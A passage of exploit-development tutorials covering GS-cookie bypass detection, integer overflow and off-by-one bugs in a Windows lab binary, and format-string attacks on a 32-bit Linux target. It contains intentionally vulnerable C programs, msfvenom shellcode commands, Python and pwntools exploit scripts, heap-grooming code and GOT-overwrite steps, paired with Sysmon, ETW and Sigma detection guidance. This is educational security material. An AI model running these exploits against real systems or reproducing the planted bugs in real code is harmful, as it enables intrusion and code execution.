Non-SafeSEH gadget sourcingPull pop/pop/ret from a third-party DLL loaded without /SAFESEH, giving a stable handler address the SEH validator will accept.

10. Detection and Defense

Every step above leaves telemetry. Here is the defender view paired to the offensive path.

Windows Error Reporting (WER)

A GS cookie failure on Windows 8+ routes through __report_gsfailure to __fastfail, terminating the process with exception code 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN). WER writes a report to %LOCALAPPDATA%\Microsoft\Windows\WER\ReportQueue\ with a crash dump that identifies the faulting stack frame. In the Application event log this surfaces as:

  • Event ID 1000 – Application Error (the crash itself).
  • Event ID 1001 – Windows Error Reporting fault bucket.

Crucially, the SEH-overwrite bypass (Path 1) does not produce a 0xC0000409 because the cookie check never runs – instead you see the swallowed access violation and, post-exploitation, the anomalous child process. Info-leak reconstruction (Path 2) and the .data overwrite (Path 3) also pass the check cleanly, so WER stays quiet. That silence is itself the signal: a service that used to fast-fail under fuzzing and now spawns calc.exe was bypassed, not stopped.

Sysmon Events

Event IDRelevance
1 (Process Create)Detect the vulnerable server spawning unexpected children (cmd.exe, powershell.exe, calc.exe) or known frameworks (Metasploit, Cobalt Strike, Empire).
3 (Network Connection)Alert on outbound C2 connections initiated by a listener process that should never dial out.
7 (Image Load)Flag loading of unsigned or unexpected DLLs – including the non-SafeSEH third-party modules used for gadget sourcing.
8 (CreateRemoteThread)Catch post-exploitation thread injection into other processes.
25 (Process Tampering)Detect process hollowing, herpaderping, and ghosting that may follow a stack pivot.

Key Sigma fields for post-bypass detection:

  • EventID: 1 + ParentImage = vuln_gs_server.exe spawning a shell interpreter.
  • EventID: 3 + Initiated: true + source image = server process + destination outside allowlist.

ETW Providers

  • Microsoft-Windows-Security-Mitigations ({FAE10392-F0AF-4AC0-B8FF-9F4D920C3CDF}) – emits events on mitigation checks including stack protection failures; strong EDR telemetry for the Path 3 tamper.
  • Microsoft-Windows-Kernel-Process – process start/stop with integrity level.
  • Microsoft-Windows-Windows-Error-Reporting – WER bucket IDs correlating to crash signatures.

Windows Audit Policy

  • Audit Process Creation (Event ID 4688): enable “Include command line in process creation events” via GPO under Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy > Detailed Tracking. Command line captures the CMD=calc.exe payload intent.
  • Audit Object Access: relevant when shellcode calls VirtualProtect/VirtualAlloc to stage under DEP.

Compiler and Linker Hardening Checklist

ControlFlag / SettingEffect
Stack cookies/GS (default ON)Inserts __security_cookie check in GS-buffer functions.
Enhanced GSGS++ (VS 2010+, default)Covers all arrays and structs, not just char arrays of 8+.
Safe SEH/SAFESEH (linker)Embeds legitimate handlers at compile time; a replaced handler not in the list raises STATUS_INVALID_EXCEPTION_HANDLER, killing Path 1.
SEHOPHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0Validates the SEH chain integrity; makes SEH hijack infeasible without a chained leak or arbitrary write.
ASLR/DYNAMICBASE + system-wide ASLRRandomizes the .data base where __security_cookie lives, forcing an info-leak for Path 2.
DEP/NX/NXCOMPAT + hardware NXForces ROP instead of direct stack shellcode.
Control Flow Guard/guard:cfValidates indirect call targets, constraining post-bypass ROP.
__declspec(safebuffers)Per-function attributeDisables GS for that function – a dangerous pattern defenders should audit for.

Illustration showing four concentric defensive layers - SafeSEH/SEHOP, ASLR, DEP, and CFG - each partially scarred by attack attempts but collectively intact.
No single mitigation is sufficient; SafeSEH plus SEHOP closes the SEH path, ASLR forces an info-leak, and DEP/CFG raise the post-bypass exploitation cost.

11. MITRE ATT&CK Mapping

Technique IDNameRelevance
T1203Exploitation for Client ExecutionStack overflow exploitation leading to code execution.
T1068Exploitation for Privilege EscalationWhen the target is a privileged service or the kernel-mode HEVD variant.
T1055Process InjectionPost-bypass payload delivery into another process.
T1211Exploitation for Defense EvasionBypassing GS/SafeSEH/SEHOP as layered mitigation evasion.
T1562.001Impair Defenses: Disable or Modify ToolsDisabling SEHOP via registry or sourcing gadgets from a non-SafeSEH module to circumvent mitigation.

MITRE ATT&CK has no sub-technique dedicated to “stack canary bypass.” The honest mapping is T1203 for the exploit delivery and T1211 for the mitigation-bypass aspect – do not invent a sub-technique ID.


12. Recap

The GS cookie is a sentinel-plus-referee scheme: a masked value on the stack (__security_cookie XOR frame_pointer) checked in the epilogue against a global reference in .data. Its security rests on three assumptions – the overflow must cross the sentinel, the epilogue must actually run, and the attacker must be unable to read or rewrite the referee. Each bypass breaks one assumption: SEH overwrite (Path 1) faults before the epilogue runs so the check never fires; info-leak reconstruction (Path 2) forges a valid on-stack value; and the arbitrary-write attack (Path 3) rewrites the referee itself. On the defensive side, /SAFESEH plus SEHOP closes Path 1, ASLR forces an info-leak for Path 2, and CFG/DEP raise the cost of the code execution that follows any of them. The cookie is a real speed bump, not a wall – and the telemetry it emits (or conspicuously fails to emit under a clean bypass) is where detection lives.


Related Tutorials

References

Integer Overflows and Off-by-One Errors: Turning Arithmetic Bugs into Memory Corruption

A buffer overflow is loud. An integer bug is quiet: a single multiplication that wraps, a <= where you wanted <, a signed int quietly promoted to a huge size_t. Nothing crashes at the arithmetic. The crash comes later, in the memcpy or the strcpy that trusted the number. That gap between the miscalculation and the corruption is exactly where the exploit lives.

Objective: Understand the full arithmetic-bug taxonomy (unsigned wrap, underflow, signedness confusion, truncation, off-by-one), then trigger and exploit a heap integer overflow and a stack off-by-one against an intentionally vulnerable Windows lab binary, and finish by knowing the compiler flags, OS mitigations, and telemetry that surface these bugs.


1. Integer Bug Taxonomy

C integers are fixed-width machine words. Arithmetic on them wraps at the word boundary with no exception, no flag you have to read, nothing. On a 32-bit target the relevant limits are:

  • UINT_MAX = 0xFFFFFFFF
  • INT_MAX = 0x7FFFFFFF
  • SIZE_MAX (32-bit) = 0xFFFFFFFF

Unless a type is explicitly unsigned, it is signed. The moment a signed value meets an unsigned context (a function taking size_t, a comparison against an unsigned length) the compiler inserts an implicit cast, and that cast is where attacker-controlled negatives turn into enormous positives.

Sub-typeMechanismConcrete trigger
Unsigned wrap-aroundA DWORD/size_t product exceeds 0xFFFFFFFF and wraps lowcount * sizeof(item) with count = 0x40000001, sizeof(item) = 4 gives 4
Unsigned underflowSubtracting a larger unsigned from a smaller one wraps hugelen - 1 with len = 0 gives 0xFFFFFFFF
Signedness confusionNegative signed input cast to unsigned lengthmemcpy(dst, src, (size_t)signed_int) with signed_int = -1 copies 0xFFFFFFFF bytes
TruncationNarrowing 64/32-bit to WORD/BYTE drops high bits(WORD)(0x10001) gives 0x0001
Off-by-one (fence-post)<= instead of <, or strlen+strcpy miscountfor(i=0; i<=len; i++) buf[i]=src[i]; writes one extra byte

The pattern that produces real corruption is almost always the same: a length is computed with one of these bugs, the allocation uses the wrong (small) number, and the copy uses the right (large) number. The allocator hands you a chunk sized for the wrapped value; the copy writes the pre-wrap value. Everything past the chunk boundary is somebody else’s memory.


Illustration of a measuring tape wrapping around past its maximum and punching through a wall, symbolizing integer overflow wrap-around
Integer overflow is silent – the value wraps back to near-zero while the copy that trusts it proceeds at full size.

2. From Bad Math to Mis-Sized Allocation

Two idioms cause the overwhelming majority of these bugs in production C.

The multiply-then-allocate idiom. Code that manages an array of records computes count * item_size and passes it to the allocator. If count is attacker-controlled and unvalidated, a large count wraps the product. malloc(0) or HeapAlloc(h, 0, 4) still returns a valid, usable pointer, so nothing looks wrong until the population loop runs count iterations.

The strlen / strcpy inconsistency. strlen returns the length excluding the null terminator. strcpy writes the string including the terminator. Allocate strlen(input) bytes, strcpy into it, and you write exactly one byte past the end – the null terminator. That single null is a classic off-by-one, and on the stack it lands on the least significant byte of the saved frame pointer.

size_t len = strlen(input);                 // excludes the terminating '\0'
char *buf = HeapAlloc(GetProcessHeap(), 0, len);   // room for len bytes
strcpy(buf, input);                         // writes len + 1 bytes

That one-byte spill is not academic. On a 32-bit stack frame it clobbers EBP‘s low byte; on a heap chunk it clobbers the first byte of the adjacent chunk’s header.


Flow diagram showing attacker-controlled count multiplying to a wrapped small value used for allocation, while the original large count drives a memcpy that overflows into the adjacent heap chunk
The allocation trusts the wrapped product; the copy trusts the original count – the gap between them is the corruption primitive.

3. Windows Heap Internals for Exploiters

To know what an overflow corrupts you need the shape of the allocations around it. HeapCreate returns a handle to a region whose header holds the segment table, virtual-allocation list, free-list bitmap, the FreeList table, and the lookaside table. HeapAlloc and HeapReAlloc carve chunks out of that heap. Allocations larger than 512 KB skip the heap entirely and go through VirtualAlloc.

Structure / FieldDescription
_HEAP_ENTRY8-byte header preceding every chunk: Size, Flags, SmallTagIndex, PreviousSize
_HEAP_ENTRY.SizeChunk size in 8-byte granules; corrupting an adjacent chunk’s Size drives consolidation primitives
_HEAP_ENTRY.FlagsHEAP_ENTRY_BUSY (0x01), HEAP_ENTRY_EXTRA_PRESENT (0x02), HEAP_ENTRY_FILL_PATTERN (0x04)
_HEAP.FreeList[128]Doubly-linked free-block lists; unlink is guarded by the safe-unlinking check (XP SP2+)
_HEAP.Lookaside[128]Singly-linked fast cache for chunks up to 1016 bytes; no cookie, no safe unlink
Lookaside flinkSingle next-pointer in a lookaside entry – the soft target

Here is the exploiter’s leverage. The FreeList unlink validates Flink->Blink == chunk before removing an entry, and _HEAP_ENTRY carries a random XOR cookie checked on free. The lookaside list has neither. Overwrite the flink of an adjacent lookaside entry and the next HeapAlloc of that size hands you back your forged pointer. That is a write primitive with no metadata check in the way.

One honest caveat, because it will bite you: the classic lookaside primitive belongs to the Windows XP / Server 2003 heap. On Windows 10 the default backend is the Low Fragmentation Heap (LFH), which retires the lookaside model and moves the interesting metadata into _HEAP_SUBSEGMENT and per-bucket freelist encoding. The technique below is the canonical teaching primitive; reproduce it faithfully on a legacy heap or with the LFH disabled, and treat modern LFH corruption as the follow-on study.


4. The Vulnerable Lab Target

Build this yourself in an isolated VM. It ships all three bugs behind a mode selector.

// vuln_alloc.c  -- INTENTIONALLY VULNERABLE LAB TARGET
// cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /Zi vuln_alloc.c
// Do NOT run outside an isolated lab VM.
#include <windows.h>
#include <stdio.h>
#include <string.h>

// Bug 1: integer multiplication overflow in the allocation size
void vuln_heap_intoverflow(unsigned int count, unsigned int item_size, char *src) {
    unsigned int alloc_sz = count * item_size;              // OVERFLOW: 0x40000001 * 4 -> 4
    char *buf = (char *)HeapAlloc(GetProcessHeap(), 0, alloc_sz);
    if (!buf) return;
    memcpy(buf, src, count);                                // copies count bytes into a 4-byte chunk
    printf("Done: %p\n", buf);
    HeapFree(GetProcessHeap(), 0, buf);
}

// Bug 2: off-by-one via strlen/strcpy inconsistency (heap)
void vuln_heap_offbyone(char *input) {
    size_t len = strlen(input);                             // excludes '\0'
    char *buf = (char *)HeapAlloc(GetProcessHeap(), 0, len);
    strcpy(buf, input);                                     // writes len + 1 bytes
    HeapFree(GetProcessHeap(), 0, buf);
}

// Bug 3: stack off-by-one (fence-post: <= instead of <)
void vuln_stack_offbyone(char *input, int len) {
    char buf[128];
    int i;
    for (i = 0; i <= len; i++)                              // one iteration too many
        buf[i] = input[i];                                 // buf[128] hits LSB of saved EBP
}

int main(int argc, char *argv[]) {
    if (argc < 3) { printf("Usage: vuln_alloc <mode> <payload>\n"); return 1; }
    int mode = atoi(argv[1]);
    if (mode == 1) vuln_heap_intoverflow(0x40000001, 4, argv[2]);
    if (mode == 2) vuln_heap_offbyone(argv[2]);
    if (mode == 3) vuln_stack_offbyone(argv[2], strlen(argv[2]));
    return 0;
}

Compile it x86, mitigations off, so the mechanics are visible without ASLR/DEP noise:

cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /Zi vuln_alloc.c

/GS- drops the stack cookie, /NXCOMPAT:NO opts the process out of DEP, /DYNAMICBASE:NO disables ASLR so addresses are deterministic across runs.


5. Stack Off-by-One: NULL Byte EBP Pivot (Mode 3)

The 32-bit epilogue of vuln_stack_offbyone is leave; ret, which expands to:

leave            ; mov esp, ebp  /  pop ebp   (restores caller's saved EBP)
ret              ; pop eip

buf lives at [ebp - 0x88]. The loop runs i = 0 .. len inclusive. Feed a 128-byte string and the loop writes buf[0..128]. Index 128 is the C string’s terminating \0, and that null lands on the low byte of the saved EBP.

This is a frame-pointer overwrite, not a return-address overwrite, so it plays out across two frames. vuln_stack_offbyone‘s leave restores the corrupted EBP into the register, then its ret returns normally to main. Now main is running with a frame pointer that points lower into our controlled buffer. When main (or the immediate caller in the harness) runs its own leave; ret, esp is set from the corrupted EBP and ret pops a DWORD we control into EIP.

Step 1 – recon the frame in WinDbg.

windbg -g -G vuln_alloc.exe 3 AAAAAAAA
bp vuln_alloc!vuln_stack_offbyone
g
dv /V
k

Confirm buf at ebp-0x88 and note the exact saved EBP value. With /DYNAMICBASE:NO it is stable, something like 0x0019ff00.

Step 2 – prove the single-byte clobber.

# poc_stack.py
import subprocess
payload = b"A" * 128                       # fills buf[0..127]; the trailing '\0' hits buf[128]
subprocess.run(["vuln_alloc.exe", "3", payload.decode("latin-1")])

Step past the ret and watch EBP‘s low byte go to 0x00. Saved EBP of 0x0019ffXX becomes 0x0019ff00, sliding the frame down into our A block.

Step 3 – stage the payload. The delivery gotcha here is beautiful, and it cost me an afternoon the first time. The payload arrives through argv, so it is a C string: any embedded 0x00 truncates it before it reaches the copy. That means the shellcode must be null-free. Generate it accordingly, and notice the symmetry: the exact null byte that would break payload delivery is the same null the loop writes to corrupt EBP. You never place that null yourself; the string terminator does it for you.

msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00'
# poc_stack_exec.py
import subprocess

# null-free windows/exec calc.exe blob from msfvenom above
shellcode = b"\xbb....\xda....\x31\xc9..."   # paste the -b '\x00' output

nop_sled = b"\x90" * (128 - len(shellcode))
payload  = nop_sled + shellcode              # exactly 128 bytes
# the loop then writes payload[0..127] into buf and the string terminator into buf[128],
# zeroing the low byte of saved EBP and pivoting the frame into the sled.
subprocess.run(["vuln_alloc.exe", "3", payload.decode("latin-1")])

Step 4 – land it. After the pivot, esp sits inside buf (in the NOP sled region), and the DWORD ret consumes is a slid address that lands you back in the sled, which rides down into the shellcode. Catch the transfer with sxe av in WinDbg if it misbehaves; a clean run pops calc.exe.

Notice /GS- was not strictly required for the pivot: because we corrupt the saved frame pointer rather than the return address directly, a single null-byte overwrite frequently slips past the /GS cookie entirely, since the cookie sits between the locals and the saved registers and is never touched. That is exactly why off-by-one EBP overwrites still get taught.


Stack layout diagram showing buf below the GS cookie and saved EBP, with the off-by-one null byte clobbering EBP's low byte and pivoting execution into the controlled buffer two frames later
A single null byte from the string terminator zeros saved EBP’s low byte – the /GS cookie is never touched, and the pivot plays out in the caller’s frame.

6. Heap Integer Overflow: Under-Allocation to Arbitrary Write (Mode 1)

Mode 1 wraps 0x40000001 * 4 to 4, allocates a 4-byte chunk, then memcpys count (0x40000001) bytes into it. The write blows straight through the chunk into whatever follows.

Step 1 – confirm the arithmetic.

python3 -c "print(hex((0x40000001 * 4) & 0xFFFFFFFF))"
# 0x4

Step 2 – make the overflow visible with Page Heap. For debugging, turn on full page heap so every allocation is backed by VirtualAlloc with a guard page immediately after it. The returned pointer sits at end-of-page minus the requested size, so the very first out-of-bounds byte faults. This is the single most useful lab switch for pinning down the exact corruption offset.

gflags.exe /p /enable vuln_alloc.exe /full

Run mode 1 under WinDbg and you fault precisely at the chunk boundary, proving the primitive and the offset in one shot.

Step 3 – inspect the real (non-page-heap) layout. Disable page heap to study the exploitable state, then examine the returned chunk and its neighbour.

bp ntdll!RtlAllocateHeap
g
!heap -p -a @eax

Confirm the 4-byte allocation and that the adjacent _HEAP_ENTRY begins just past it.

Step 4 – groom the lookaside. Prime the lookaside bucket for the target size so the chunk after the victim is a freed lookaside entry with a known flink.

// heap grooming harness (legacy heap / LFH disabled)
HANDLE h = GetProcessHeap();
LPVOID spray[20];
for (int i = 0; i < 20; i++) spray[i] = HeapAlloc(h, 0, 0x10);
for (int i = 0; i < 20; i++) HeapFree(h, 0, spray[i]);   // populates lookaside[2]

Step 5 – overflow into the flink. Shape the memcpy source so the bytes that land in the neighbouring chunk overwrite its lookaside flink with a target address of your choosing, for example a writable function-pointer table in .data. Because the lookaside path performs no safe-unlinking and no cookie validation, that forged flink is accepted verbatim.

Step 6 – collect the write. The next HeapAlloc of that size unlinks your forged entry and returns your target address. Writing into that “allocation” is an arbitrary write. Point it at a function pointer, then trigger the pointer, and you have execution. In the lab, calc.exe on that trigger is your proof.

Step 7 – the DEP-on extension. Compiled /NXCOMPAT:NO, shellcode on the heap runs directly. Flip DEP back on and you need a ROP chain to make memory executable first:

ROPgadget --binary vuln_alloc.exe --rop

The standard chain sets up a __stdcall call to VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &old), then falls through into the now-executable shellcode. VirtualAlloc with PAGE_EXECUTE_READWRITE is the alternative when you would rather stage fresh executable memory than remark existing pages.


7. Modern Mitigation Landscape

Everything above assumes mitigations off. Turn them on and each step gains a cost.

MitigationFlag / SettingEffect on this bug class
Stack cookies (/GS)On by default (MSVC)Catches saved-RIP overwrite; a single null-byte EBP overwrite can evade it
ASLR (/DYNAMICBASE)On by defaultRandomizes image, stack, heap; forces an info leak. Non-relocatable or opt-out modules still give fixed addresses
DEP / NX/NXCOMPAT, PTE NX bitStack and heap non-executable by default; forces ROP via VirtualProtect/VirtualAlloc
Heap metadata cookieXOR cookie on _HEAP_ENTRYBlocks header forgery; lookaside flink corruption sidesteps it
Safe unlinkingFlink->Blink == chunkGuards FreeList unlink; does not cover the lookaside
CFG (/guard:cf)Opt-inValidates indirect call targets; blocks naive function-pointer overwrites
Page Heapgflags /p /enable /fullDebug aid: guard page after every allocation makes overflows fault instantly

8. Common Attacker Techniques

TechniqueDescription
Multiply-then-allocate wrapForce count * size to wrap so the chunk is undersized while the copy uses the full count
Signedness confusionFeed a negative signed length that becomes a huge size_t in the copy
Truncation to small sizeNarrow a 64/32-bit length into a WORD/BYTE, allocating tiny, copying large
Off-by-one EBP overwriteSingle trailing null byte pivots the saved frame pointer into a controlled buffer
Lookaside flink overwriteHeap overflow rewrites an adjacent lookaside next-pointer, redirecting a future HeapAlloc
Heap groom / sprayPre-place freed chunks so the neighbour of the victim has predictable metadata

9. Defensive Strategies & Detection

Build-time is where you win cheaply: compile with /sdl (MSVC) or -fsanitize=integer,undefined (Clang/GCC) to trap wraps and signed overflow at runtime, replace strcpy/memcpy with strcpy_s/memcpy_s, and enable HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0) so metadata corruption kills the process instead of feeding an exploit. Ship /GS, /DYNAMICBASE, /NXCOMPAT, and /guard:cf, and treat __declspec(safebuffers) as a code-review red flag.

At runtime you cannot see the arithmetic, so you watch the aftermath: crashes and unexpected child processes.

Sysmon Event IDs:

Event IDNameRelevance
1Process CreateChild calc.exe/cmd.exe under an unexpected parent
7Image LoadedAnomalous DLL (for example ws2_32.dll) into a non-network app
10Process AccessExploited process opening another process for a pivot
17 / 18Pipe Created / ConnectedNamed-pipe shellcode staging
255ErrorProcess crashes consistent with corruption attempts

ETW providers worth wiring up: Microsoft-Windows-Kernel-Process ({22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}) for process/thread creation, Microsoft-Windows-WER-Diagnostics for the access-violation reports that heap corruption throws, and the ntdll HeapApi provider ({222962AB-6180-4B88-A825-346B75F2A24A}) traced via xperf/WPA for allocation/free forensics. Turn on 4688 first:

AuditPol /set /subcategory:"Process Creation" /success:enable /failure:enable

Sigma – hunt the spawned child:

title: Suspicious Child Process from Exploited Application
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\vuln_alloc.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\calc.exe'
  condition: selection
fields:
  - ParentImage
  - Image
  - CommandLine
  - ParentCommandLine
falsepositives:
  - Legitimate application launching shells
level: high

Illustration of a forge hammer striking a cracked integer symbol on an anvil surrounded by defensive shield emblems, representing compile-time hardening against arithmetic bugs
Build-time mitigations – safe CRT functions, sanitizers, and hardening flags – are the cheapest place to eliminate arithmetic bugs before they reach production.

10. Tools for Arithmetic Bug Analysis

ToolDescriptionLink
WinDbgHeap inspection (!heap -p -a, !heap -x), fault triage (sxe av)microsoft.com
gflags / Page HeapGuard-page allocator that faults on the first overflow bytemicrosoft.com
x32dbg + ScyllaHideUser-mode stepping through the copy and epiloguex64dbg.com
msfvenomNull-free windows/exec shellcode generationmetasploit.com
ROPgadgetGadget discovery for DEP-bypass chainsgithub.com
Application VerifierHeap and handle validation harnessmicrosoft.com
GodboltWatch the compiler emit (or elide) overflow checksgodbolt.org

11. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Privilege EscalationT1068Kernel/driver IOCTL integer overflows; watch for driver crashes (Sysmon 255, WER)
Exploit Public-Facing ApplicationT1190Integer overflow in a network parser; monitor service crashes and anomalous child processes
Exploitation for Client ExecutionT1203Off-by-one/overflow in a document or browser parser; Sysmon 1/7 on the client
Process InjectionT1055Post-write shellcode injection; Sysmon 10, 8
Hijack Execution Flow (function-pointer/IAT overwrite)T1574.002CFG telemetry, unexpected image loads (Sysmon 7)

Cross-reference CWE-190 (Integer Overflow or Wraparound), CWE-191 (Integer Underflow), and CWE-193 (Off-by-one Error) in code review and static-analysis rulesets.


Summary

  • Arithmetic bugs are root-cause memory-corruption bugs: the miscalculated length is the vulnerability, and the copy that trusts it is the corruption.
  • Unsigned wrap, underflow, signedness confusion, and truncation all converge on one pattern: allocate for the wrong number, copy the right one.
  • A single trailing null from strlen/strcpy overwrites the saved EBP low byte, pivots the frame, and can slip past /GS.
  • A wrapped count * size under-allocates, and the follow-on memcpy corrupts the adjacent chunk; the lookaside flink has no cookie or safe-unlink, yielding an arbitrary write.
  • Kill it at build time with /sdl, _s CRT functions, /GS, /DYNAMICBASE, /NXCOMPAT, /guard:cf; surface it at runtime with Page Heap, WER/ETW crash telemetry, and Sysmon 1/7/10 on the anomalous child process.

Related Tutorials

References

Format String Vulnerabilities: Read/Write Primitives via printf Internals

You control a string. The program hands it straight to printf with no format argument of its own. That one missing "%s" is enough to read any mapped address in the process and write any value you like to any writable address. No buffer overflow, no canary to defeat, no return address to smash. Just printf doing exactly what the C standard told it to do, on data it should never have trusted.

This walkthrough takes the bug from first principles to a shell on a 32-bit Linux lab binary, then shows the blue-team side: why almost nothing on the host fires until the shell spawns, and what you key your detections off instead.


1. The Format String Contract

printf is variadic. Its prototype is int printf(const char *fmt, ...), and the C runtime has no idea how many arguments follow fmt. It learns that at runtime, by parsing fmt and counting conversion specifiers. Each %-specifier tells glibc’s _IO_vfprintf to pull the next argument off the variadic list and format it.

On x86-32 (cdecl), those arguments live on the stack, immediately above the format string pointer. _IO_vfprintf walks them with the va_list / va_arg iterator. There is no bounds check. If the format string says “give me ten arguments” but the caller passed none, printf cheerfully reads ten stack slots that belong to other locals, saved registers, return addresses, and library pointers.

On x86-64 System V, the first six integer arguments are passed in registers (rdi holds fmt, then rsi, rdx, rcx, r8, r9), and only the seventh argument onward sits on the stack. That register detail changes the offsets you use but not the bug.

ItemDescription
printf(fmt, ...)Variadic; interprets fmt and fetches one argument per specifier from the stack (x86-32) or registers then stack (x86-64)
Vulnerable callprintf(user_input) gives the attacker both a read primitive (%x/%p/%s) and a write primitive (%n)
Safe equivalentprintf("%s", user_input) – the fix is one literal format string
Affected familyprintf, fprintf, sprintf, snprintf, vprintf, vsprintf, syslog

The whole printf family routes through _IO_vfprintf, so the bug is identical wherever a user-controlled buffer reaches the format-string slot. syslog(LOG_INFO, user_input) is the same vulnerability with a different front door.

SpecifierPrimitiveMechanics
%x / %pStack readPops the next stack slot, prints it as hex
%sArbitrary readTreats the next slot as char *, reads until \0
%nArbitrary write (4 bytes)Stores the count of bytes written so far into the int * argument
%hnWrite 2 bytesStores a short; used in split-write chains
%hhnWrite 1 byteStores one byte; best for null-byte-free GOT patching
%<k>$<spec>Direct parameter access%7$p reads argument 7 directly, no throwaway chain
%<N>xValue controlEmitting N bytes before %n makes %n write N

Flowchart showing how printf passes a user-controlled format string through _IO_vfprintf to an unchecked va_list walker that reads arbitrary stack slots and optionally writes via %n
Without a fixed format literal, every conversion specifier in user input drives printf’s argument walker into uncontrolled stack memory.

2. Building the Vulnerable Lab Target

Here is the whole target. It is intentionally broken, and the compile flags are deliberately weak so the mechanics are visible. Do not ship anything built this way.

// target.c  -  deliberately vulnerable lab binary
// Compile:
//   gcc -m32 -fno-stack-protector -no-pie -z norelro -o target target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void win() {
    system("/bin/sh");   // redirect here via GOT overwrite
}

void log_input(char *buf) {
    printf("[LOG] ");
    printf(buf);         // VULNERABLE: user-controlled format string
    printf("\n");
}

int main(void) {
    char input[256];
    printf("Input: ");
    fgets(input, sizeof(input), stdin);
    input[strcspn(input, "\n")] = '\0';
    log_input(input);
    exit(0);             // exit() calls fini/dtors -> alternative target
}

Build it and confirm the protections are down:

gcc -m32 -fno-stack-protector -no-pie -z norelro -o target target.c
checksec --file=./target
# RELRO: No RELRO | Stack: No canary | NX: enabled | PIE: No PIE

-no-pie fixes the binary’s base so addresses are stable for teaching. -z norelro keeps the GOT writable. The stack canary is irrelevant to a format-string write because we never smash the stack, but disabling it removes noise. win() is our jump target: redirect a GOT entry there and the program calls system("/bin/sh") for us.


3. The Read Primitive: Leaking Stack Memory

Start by watching printf leak the stack. Feed it a chain of %p:

python3 -c "print('AAAA.' + '.'.join(['%p']*10))" | ./target
# [LOG] AAAA.0xf7f...c.0x8.0x80491b6.0x41414141.0x70252e70.0x252e7025...

Every %p consumes one stack slot and prints it. Mixed in you will see libc pointers (high 0xf7... addresses on 32-bit), small loop counters, the return address back into main, and crucially 0x41414141, which is our AAAA showing up because the input buffer itself is sitting on the stack printf is walking.

Positional access cleans this up. Instead of counting %ps by hand, ask for one slot directly:

python3 -c "print('AAAA%7\$p')" | ./target
# [LOG] AAAA0x41414141

%7$p says “format argument number 7 as a pointer.” When it prints 0x41414141, you have found the slot that holds the first four bytes of your own buffer. That index, 7 here, is the single most important number in the exploit. It is the bridge that turns an uncontrolled read into a controlled one.

For arbitrary reads, %s dereferences the slot as a char *. Place an address in your buffer at the slot you control, then point %s at it:

python3 -c "
import struct, sys
got_exit = 0x0804c014          # from objdump -R, see Step below
sys.stdout.buffer.write(struct.pack('<I', got_exit) + b'%7\$s')
" | ./target | xxd

Now %7$s reads the four bytes at offset 7 (your embedded address) as a pointer and dumps whatever string lives there. That is your arbitrary read: leak GOT entries, leak libc, leak anything mapped.


4. Locating Your Buffer on the Stack

The offset hunt is mechanical. Send a marker plus a positional read, and bump the index until the marker echoes back:

for i in $(seq 1 15); do
  echo -n "offset $i: "
  python3 -c "print('AAAA%$i\$p')" | ./target | grep -o '0x[0-9a-f]*'
done

When the output reads 0x41414141, that index is your offset to self. On this binary with this stack layout it is 7. Verify under the debugger if you want certainty:

pwndbg> r <<< $(python3 -c "print('AAAA.%7\$p')")
pwndbg> x/40wx $esp

One gotcha worth internalizing now: the offset is layout-dependent. Add or remove a local, change the compiler version, or rebuild without -m32, and your golden number shifts. I once burned an afternoon on a payload that “stopped working” after a recompile, only to discover an extra stack-aligned local had pushed my buffer from offset 6 to offset 7. Re-derive the offset every time the binary changes.


5. The Write Primitive: %n Mechanics

%n is the part of the C standard that should keep you up at night. It does not print anything. It takes the corresponding argument as an int * and stores the number of characters printf has emitted so far into that address.

So if you can place a target address in a stack slot you control, and you make printf emit exactly N bytes before the %n, you write the value N to that address. Width specifiers give you the byte count for free: %100x prints a value padded to 100 characters, advancing the counter to 100.

Writing a full 32-bit address with one %n would mean printing up to four billion padding characters. Nobody waits for that. Split the write:

  • %hn writes the low 16 bits (a short).
  • %hhn writes the low 8 bits (a single byte).

To plant a 4-byte value you do two %hn writes, one to addr and one to addr+2, padding each to the half-word you need. Because the lower half is sometimes numerically larger than the upper half, you order the writes so the running byte count only ever increases, and you account for the bytes already emitted by the embedded addresses themselves.

That bookkeeping is exactly the kind of off-by-a-few error that eats hours, which is why the next sections use both the pwntools helper (does the math for you) and a manual derivation (so you understand what the helper emitted).


6. Targeting the GOT

Lazy binding means each imported function is called through the Global Offset Table. The .plt stub is read-only, but .got.plt holds the resolved (or to-be-resolved) address and, without RELRO, it is writable. Overwrite the GOT entry of a function that gets called after your format string runs, and you redirect control.

exit() is perfect here: main calls exit(0) right after log_input returns, so we overwrite exit‘s GOT slot with the address of win.

Find the addresses:

objdump -R ./target | grep -E 'exit|printf'
#   0804c014 R_386_JUMP_SLOT   exit@GLIBC_2.0
readelf -s ./target | grep ' win'
#   42: 080491d6   ...  FUNC  GLOBAL DEFAULT  win

In pwndbg you can read the live table and confirm the write afterward:

pwndbg> got
pwndbg> x/wx 0x0804c014        # exit GOT entry, before write
0x804c014:  0x0804c014         # unresolved -> points back at PLT resolver

Target slot: 0x0804c014. Value to write: 0x080491d6. That is the whole shape of the attack.


Attack path diagram showing attacker input flowing through the vulnerable printf call, first leaking memory with percent-p then overwriting the GOT exit entry with percent-hn writes to redirect control to the win function
The two-phase attack: leak a usable address with the read primitive, then overwrite the exit GOT slot with split %hn writes to hijack control on program exit.

7. The Full Exploit (pwntools)

fmtstr_payload builds the split-write payload, computes the padding, and accounts for already-written bytes. Let pwntools resolve the symbols from the ELF so you never hardcode a stale address.

# exploit.py
from pwn import *

context.binary = elf = ELF('./target')
context.arch = 'i386'

p        = process('./target')
win_addr = elf.symbols['win']     # 0x080491d6
got_exit = elf.got['exit']        # 0x0804c014
offset   = 7                      # found in Section 4

# Build the crafted format string: embedded address + width-padded %hn writes
payload = fmtstr_payload(offset, {got_exit: win_addr}, write_size='short')
log.info("Payload (%d bytes): %r", len(payload), payload)

p.sendlineafter(b'Input: ', payload)
p.interactive()

